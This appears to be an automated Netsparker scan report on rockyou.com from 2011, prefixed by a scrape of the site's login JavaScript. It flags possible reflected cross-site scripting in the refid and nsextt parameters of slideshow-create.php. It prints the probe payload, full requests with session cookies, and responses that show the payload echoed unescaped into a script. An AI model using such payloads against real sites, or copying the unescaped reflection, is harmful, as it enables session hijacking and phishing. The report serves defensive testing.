<br>
<br>
<div style="text-align:center">
<div style="background-color:#DDD;margin:auto;width:730px;padding:15px;">


<script type="text/javascript" language="javascript" src="https://rockyou.com/contents/login/ajax.js"></script>

<script>// Globalsvar isIE6; // Whether the user has ie6. Look for references to it to find IE6 workarounds.var sslHost = "https://" + window.location.hostname; var nonsslHost = "http://" + window.location.hostname; // Show bubble or error on focus, depending on state.function showHelp(inputID) { if (showHelp.curHelpShown != inputID) { if (showHelp.curHelpShown && showHelp.curHelpShown != inputID) document.getElementById(showHelp.curHelpShown+'Help').style.display = 'none'; showHelp.curHelpShown = inputID; var helpDiv = document.getElementById(inputID+'Help'); if (helpDiv) helpDiv.style.display = ''; var inputBubble = document.getElementById(inputID+'Bubble'); if (inputBubble && !inputBubble.innerHTML) generateBubbleEmbed(inputID+'Bubble', 250, 180, 'LT', eval(inputID+'BubbleText')); if (isIE6) if (inputID=='newPW'||inputID=='retype') document.getElementById(inputID+'Help').focus(); }}// Toggle input specified by id to show or not show error statusfunction errorToggle(id, showError, errorText) { if (showError) { document.getElementById(id+'Bubble').style.display = 'none'; document.getElementById(id+'Error').style.display = ''; if (errorText) document.getElementById(id+'Error').innerHTML = errorText; var inputDiv = document.getElementById(id+'Div'); inputDiv.style.color="red"; } else { document.getElementById(id+'Bubble').style.display = ''; document.getElementById(id+'Error').style.display = 'none'; var inputDiv = document.getElementById(id+'Div'); inputDiv.style.color="black"; }}function showLoading(loading) { // Holds publically accessible boolean, whether currently processing a request showLoading.loading = loading; if (loading) { document.getElementById('loadingDiv').style.display = ''; showLoading.hiddenHelp = showHelp.curHelpShown; showHelp(''); } else { document.getElementById('loadingDiv').style.display = 'none'; showHelp(showLoading.hiddenHelp); }}// Used only if skip button availablefunction promptNoSave() { if (confirm("Tem certeza? (Não poderá voltar e editar depois disso!)")) { var destination = ""; destination += (destination.indexOf('?') == -1) ? '?' : '&'; destination += "loginType=skipped"; window.location = destination; }}// -------------- EMAIL FORM FUNCTIONS --------------------// Check if email input is proper format and store result in static emailFormChange variablefunction emailInputValid() { var emailInput = document.getElementById('email'); var reg = /^([\w-]+)(\.[\w-]+)*@([\w\-\.])+\.[A-Za-z]{2,4}$/; emailFormChange.emailIsValid = reg.test(emailInput.value); return emailFormChange.emailIsValid; }// Remove error if the form has gone from invalid to validfunction emailFormChange(event) { if (event && (event.keyCode == 13 || event.which == 13)) { emailFormSubmit(); } else if (!emailFormChange.emailIsValid) { emailFormChange.emailIsValid = emailInputValid(); if (emailFormChange.emailIsValid) errorToggle('email',false); } return false; }// Set form state to invalid and show error if incorrect format. Otherwise submit to check if already registered.function emailFormSubmit() { if (showLoading.loading) return false; var emailInput = document.getElementById('email'); emailFormChange.emailIsValid = emailInputValid(); if (emailFormChange.emailIsValid) { showLoading(true); ajax_post_john(sslHost + '/login/loginProcessor.php', 'stage=checkEmailRegistration&email='+emailInput.value, null, emailFormCallback); } else { // Track failure. Show error. ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-email-submit-failed&value=mainlogin',null,null); errorToggle('email',true); emailInput.focus(); } return false; }function emailFormCallback(responseText) { showLoading(false); eval('var response='+responseText+';'); if (response['error']) { alert(response['error']); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-email-submit-failed&value=mainlogin',null,null); } else { if (!response['emailRegistered']) { // Check if this email is close but not equal to a common domain name. if (response['possibleTypo']) { var confirmText = 'You may have a typo in your email.\nWe Suggest: '+response['possibleTypo']; confirmText += '\nClick OK to continue or Cancel to re-enter your email.'; // If cancel is pressed, stay on the current page. Otherwise, continue as normal. if (!confirm(confirmText)) { document.getElementById('email').focus(); return; } } // Move to registration form if email cannot be validated. If it can, move to email account validation form. var emailName = ''; document.getElementById('emailContainer').style.display = 'none'; if (emailName = isVerifiableEmail()) { document.getElementById('emailPWContainer').style.display = ''; // Transfer and create data for email password form if (!emailVerificationBubbleText) var emailVerificationBubbleText = '<span class="leftAlign"><span class="headerThree">'+dynLang('Boa vinda, usuário do [EmailType]!', 'EmailType', emailName)+'</span>\n '+dynLang('Por favor, confirme a sua conta entrando a sua senha do seu [EmailType].', 'EmailType', emailName)+ "<br> N∫ao se preocupe, este é o único lugar que você precisa checar se a sua conta existe. Nós não iremos armazenar a sua senha. Uma vez confirmada, você vai criar imediatamente uma senha para o RockYou.</span>"; generateBubbleEmbed('emailPWBubble', 250, 180, 'LT', emailVerificationBubbleText); document.getElementById('emailNameSpan').innerHTML = emailName; document.getElementById('emailNameSpan2').innerHTML = emailName; document.getElementById('emailAddressSpan').innerHTML = document.getElementById('email').value; document.getElementById('emailPW').focus(); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-emailPW-begin&value=mainlogin',null,null); } else { document.getElementById('registrationContainer').style.display = ''; var captchaDiv = document.getElementById('captchaDiv'); var captchaDivReg = document.getElementById('captchaDivReg'); if(captchaDivReg.innerHTML==''){ captchaDivReg.innerHTML = captchaDiv.innerHTML; captchaDiv.innerHTML = ''; } document.getElementById('newPW').focus(); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-registration-begin&value=mainlogin',null,null); } } else { document.getElementById('emailContainer').style.display = 'none'; // Move to rockyou password form document.getElementById('rockyouPWContainer').style.display = ''; var captchaDiv = document.getElementById('captchaDiv'); var captchaDivReg = document.getElementById('captchaDivReg'); if(captchaDiv.innerHTML==''){ captchaDiv.innerHTML = captchaDivReg.innerHTML; captchaDivReg.innerHTML = ''; } document.getElementById('emailAddressSpanRockyou').innerHTML = document.getElementById('email').value; document.getElementById('rockyouPW').focus(); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-rockyouPW-begin&value=mainlogin',null,null); } }}// Check if email account existence can be verified by scripts (if so use email and email name to fill out email password form text).function isVerifiableEmail() { return false; /* var email = document.getElementById('email').value; var emailParts = email.split('@'); emailParts = emailParts[1].split('.'); var emailDomain = emailParts[0]; var emailType = ''; switch(emailDomain.toLowerCase()) { case 'gmail': emailType = 'Gmail'; break; case 'yahoo': emailType = 'Yahoo'; break; case 'aol': emailType = 'AOL'; break; //case 'msn': //emailType = 'MSN'; break; //case 'hotmail': //emailType = 'Hotmail'; break; } return emailType;*/}// ------------------- External Email Account Verification Form Functions -------------------------function emailPWBack() { document.getElementById('emailPWContainer').style.display = 'none'; document.getElementById('emailContainer').style.display = ''; document.getElementById('email').focus(); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-emailPW-back&value=mainlogin',null,null); return false;}function emailPWChange(event) { if (event && (event.keyCode == 13 || event.which == 13)) { emailPWFormSubmit(); } else errorToggle('emailPW',false); }// Check email account exists (for verifiable accounts) with third party scriptsfunction emailPWFormSubmit() { var email = document.getElementById('email').value; var password = document.getElementById('emailPW').value; if (!email || !password || showLoading.loading) return false; else showLoading(true); errorToggle('emailPW',false); ajax_post_john( sslHost + '/login/loginProcessor.php', 'stage=verifyExternalAccount&email='+email+'&password='+password, null, emailPWCallback); return false; }function emailPWCallback(responseText) { showLoading(false); eval('var response='+responseText+';'); if (response['error']) alert(response['error']); errorToggle('emailPW', !response['externalAccountVerified']); if (response['externalAccountVerified']) { document.getElementById('emailPWContainer').style.display='none'; document.getElementById('registrationContainer').style.display=''; var captchaDiv = document.getElementById('captchaDiv'); var captchaDivReg = document.getElementById('captchaDivReg'); if(captchaDivReg.innerHTML==''){ captchaDivReg.innerHTML = captchaDiv.innerHTML; captchaDiv.innerHTML = ''; } document.getElementById('newPW').focus(); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-registration-begin&value=mainlogin',null,null); }}// ----------------------- Rockyou Password Verification Form Functions ------------------------function rockyouPWChange(event) { if (event && (event.keyCode == 13 || event.which == 13)) { rockyouPWFormSubmit(); } else errorToggle('rockyouPW',false); }function rockyouPWBack() { document.getElementById('rockyouPWContainer').style.display = 'none'; document.getElementById('emailContainer').style.display = ''; document.getElementById('email').focus(); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-rockyouPW-back&value=mainlogin',null,null); return false; }function rockyouPWFormSubmit() { var email = document.getElementById('email').value; var password = document.getElementById('rockyouPW').value; var error; if (!email || !password || showLoading.loading) return false; else if (error = getPWFormatError(password)) { window.location = nonsslHost + '/resetpassword.php?pwFormatError='+escape(error); } else { showLoading(true); var recaptcha_response_field = document.getElementById('recaptcha_response_field').value; var recaptcha_challenge_field = document.getElementById('recaptcha_challenge_field').value; ajax_post_john( sslHost + '/login/loginProcessor.php', 'stage=verifyRockyouPassword&email='+email+'&password='+password+'&recaptcha_challenge_field='+recaptcha_challenge_field+'&recaptcha_response_field='+recaptcha_response_field, null, rockyouPWCallback); } return false; }function rockyouPWCallback(responseText) { showLoading(false); eval('var response='+responseText+';'); if (response['error']) alert(response['error']); else if (response['validLogin']) { var password = document.getElementById('rockyouPW').value; var destination = ''; destination = "http://rockyou.com/my_stuff.php"; destination += (destination.indexOf('?') == -1) ? '?' :'&'; destination += "loginType=ryLogin&email="+encodeURIComponent(document.getElementById('email').value); window.location = destination; } else { errorToggle('rockyouPW', true); document.getElementById('rockyouPW').focus(); } }// --------------------------- Rockyou Registration Form Functions ------------------------------function registrationBack() { document.getElementById('registrationContainer').style.display = 'none'; document.getElementById('emailContainer').style.display = ''; document.getElementById('email').focus(); ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-registration-back&value=mainlogin',null,null); return false; }// Enforce character and length restrictionsfunction filterPasswordInput(event) { var inputLength = document.getElementById('newPW').value.length; // Match alphanumerical and spaces. var keyChar = (event.which) ? String.fromCharCode(event.which) : String.fromCharCode(event.keyCode); var reg = /[\w\s\b]$/; var isValid = reg.test(keyChar); return isValid;}function newPWBlur() { var error = getPWFormatError(document.getElementById('newPW').value); if (error) { errorToggle('newPW', true, error); }}// Returns error string if password is not secure.function getPWFormatError(password) { notSecure = [ "password1", ]; for (var i = 0; i < notSecure.length; i++) { if (notSecure[i] == password) { return 'Your password was found in a list of insecure passwords. Please choose another.'; } } if (password.length < 8) { return 'Password must be at least 8 characters long.'; } if (password.length > 15) { return 'Password must be 15 characters or less.'; } if (password.search(/[0-9]/) == -1) { return 'Password must contain at least one number'; } if (password.search(/[a-zA-z]/) == -1) { return 'Password must contain at least one letter.'; } return '';}function newPasswordKeyUp() { var pwLength = document.getElementById('newPW').value.length; if (pwLength >= 8 && document.getElementById('newPWBubble').style.display == 'none') { errorToggle('newPW',false); } }// Ensure that what is being typed into the reenter password input matches the password entered previouslyfunction checkReenterInput(event) { if (event && (event.keyCode == 9 || event.which == 9)) return; var retypedPW = document.getElementById('retype').value; if (!retypedPW) return; var newPW = document.getElementById('newPW').value; // If the password doesn't match the original (so far), give warning errorToggle('retype',newPW.indexOf(retypedPW) != 0); }function retypeBlur() { var retypedPW = document.getElementById('retype').value; if (!retypedPW) return; var newPW = document.getElementById('newPW').value; // If the password doesn't match the original, give warning errorTog..
[Possible] Cross-site Scripting

[Possible] Cross-site Scripting

9 TOTAL
MEDIUM
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

Netsparker believes that there is a XSS (Cross-site Scripting) in here it could not confirm it. We strongly recommend investigating the issue manually to ensure that it is an XSS (Cross-site Scripting) and needs to be addressed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /slideshow-create.php

/slideshow-create.php

http://www.rockyou.com/slideshow-create.php?refid=&nsextt='%22%3E%3Cnet%20sparker=alert(0x000BBB)%3E

Parameters

Parameter Type Value
refid GET
nsextt GET '"><net sparker=alert(0x000BBB)>

Request

GET /slideshow-create.php?refid=&nsextt='%22%3E%3Cnet%20sparker=netsparker(0x000BBB)%3E HTTP/1.1
Referer: http://www.rockyou.com/help/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164249; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:04:10 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:04:09 GMT; path=/; domain=.rockyou.com,lastlogin=1303164250; expires=Wed, 27-Jul-2011 22:04:10 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:04:10 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=28675 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26906
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?refid=&nsextt='%22%3E%3Cnet%20sparker=netsparker(0x000BBB)%3E&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Create..
- /slideshow-create.php

/slideshow-create.php

http://www.rockyou.com/slideshow-create.php?source=cyo&refid='%22%3E%3Cnet%20sparker=alert(0x0010C7)%3E

Parameters

Parameter Type Value
source GET cyo
refid GET '"><net sparker=alert(0x0010C7)>

Request

GET /slideshow-create.php?source=cyo&refid='%22%3E%3Cnet%20sparker=netsparker(0x0010C7)%3E HTTP/1.1
Referer: http://www.rockyou.com/featuredartists.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164767; ctid=2; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:12:47 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:12:46 GMT; path=/; domain=.rockyou.com,lastlogin=1303164767; expires=Wed, 27-Jul-2011 22:12:47 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:12:47 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=27842 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26918
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
